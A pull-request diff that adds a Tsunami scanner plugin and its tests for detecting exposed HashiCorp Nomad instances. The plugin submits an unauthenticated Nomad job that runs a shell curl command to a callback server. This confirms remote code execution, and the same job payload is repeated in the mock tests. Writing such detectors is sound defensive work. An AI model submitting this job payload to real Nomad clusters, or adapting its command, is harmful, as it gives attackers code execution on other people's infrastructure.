Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "HashicorpNomad_ExposedUI"
author: "Am0o0"
version: "0.1"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "HASHICORPNOMAD_EXPOSED_UI"
}
title: "Exposed HashicorpNomad instance"
description: "HashicorpNomad instance is exposed and can be used to compromise the system."
recommendation:
"Configure authentication or ensure the HashicorpNomad instance is not exposed "
"to the network. See "
"https://developer.hashicorp.com/nomad/install for details."
severity: CRITICAL
}

###########
# ACTIONS #
###########

actions: {
name: "hashicorpnomad_exposed_ui_fingerprint"
http_request: {
method: GET
uri: "/ui/"
response: {
http_status: 200
expect_all: {
conditions: { body {} contains: 'Copyright (c) HashiCorp, Inc.' }
conditions: { body {} contains: '<title>Nomad</title>' }
}
}
}
}

actions: {
name: "create_tsunami_job"
http_request: {
method: POST
uri: "/v1/jobs"
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
response: {
http_status: 200
expect_all: {
conditions: { body {} contains: '"EvalCreateIndex"' }
conditions: { body {} contains: '"EvalID"' }
conditions: { body {} contains: '"Index"' }
conditions: { body {} contains: '"JobModifyIndex"' }
}
}
}
cleanup_actions: "cleanup_tsunami_job"
}

actions: {
name: "sleep"
utility: { sleep: { duration_ms: 3000 } }
}

actions: {
name: "check_callback_server_logs"
callback_server: { action_type: CHECK }
}

actions: {
name: "cleanup_tsunami_job"
http_request: {
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
method: DELETE
uri: "/v1/job/tsunami-job?purge=true"
response: {
http_status: 200
}
}
}

#############
# WORKFLOWS #
#############
workflows: {
actions: [
"hashicorpnomad_exposed_ui_fingerprint",
"create_tsunami_job",
"sleep",
"check_callback_server_logs"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "HashicorpNomad_ExposedUI"
}

tests: {
name: "whenVulnerable_returnsVuln"
expect_vulnerability: true

mock_callback_server: {
enabled: true
has_interaction: true
}
mock_http_server: {
mock_responses: [
{
uri: "/ui/"
status: 200
body_content:
'Copyright (c) HashiCorp, Inc.'
'<title>Nomad</title>'
},
{
uri: "/v1/jobs"
status: 200
body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
condition: {
body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
},
},
{
uri: "/v1/job/tsunami-job?purge=true"
status: 200
condition: {
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
}
}
]
}
}


tests: {
name: "whenNotNomad_returnsNoVuln"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "/ui/"
status: 400
body_content: "..."
}
]
}
}

tests: {
name: "whenNoCallback_returnsFalse"
expect_vulnerability: false

mock_callback_server: {
enabled: true
has_interaction: false
}

mock_http_server: {
mock_responses: [
{
uri: "/ui/"
status: 200
body_content:
'Copyright (c) HashiCorp, Inc.'
'<title>Nomad</title>'
},
{
uri: "/v1/jobs"
status: 200
body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}'
condition: {
body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
}
},
{
uri: "/v1/job/tsunami-job?purge=true"
status: 200
condition: {
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
}
}
]
}
}